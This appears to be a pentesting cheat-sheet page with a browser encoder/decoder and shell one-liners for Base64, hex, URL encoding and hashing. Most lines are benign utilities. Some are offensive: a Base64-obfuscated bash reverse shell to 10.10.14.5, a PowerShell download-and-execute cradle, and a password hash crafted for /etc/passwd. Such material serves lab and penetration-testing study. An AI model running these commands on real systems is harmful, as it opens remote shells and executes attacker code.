Encoder and decoder
Type in the input and pick an operation. "Use output as input" lets you chain several (for example, URL → Base64). Everything runs in your browser.
Output
Hashes of the input
| MD5 | |
|---|---|
| SHA-1 | |
| SHA-256 | |
| SHA-512 | |
| NTLM | |
Your values
Saved in this browser and applied to every cheatsheet.
Base64
Encode without line breaks
echo -n 'texto' | base64 -w0
Decode
echo 'dGV4dG8=' | base64 -d
Run an encoded command (avoids forbidden characters)
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx | base64 -d | bash
Encoded PowerShell (UTF-16LE)
Attacker
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/s.ps1")' | iconv -t UTF-16LE | base64 -w0
Hex and URL
To hex
echo -n 'texto' | xxd -p
From hex
echo '746578746f' | xxd -r -p
URL-encode with Python
python3 -c 'import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1], safe=""))' 'a b&c'
Hashes
MD5 / SHA-256
echo -n 'texto' | md5sum; echo -n 'texto' | sha256sum
Password hash for /etc/passwd
openssl passwd -6 'pwned123'
NTLM
python3 -c 'import hashlib,sys; print(hashlib.new("md4", sys.argv[1].encode("utf-16le")).hexdigest())' 'Password123!'
In OpenSSL 3 MD4 lives in the legacy provider; if it fails, use pycryptodome or this encoder.
No command matches.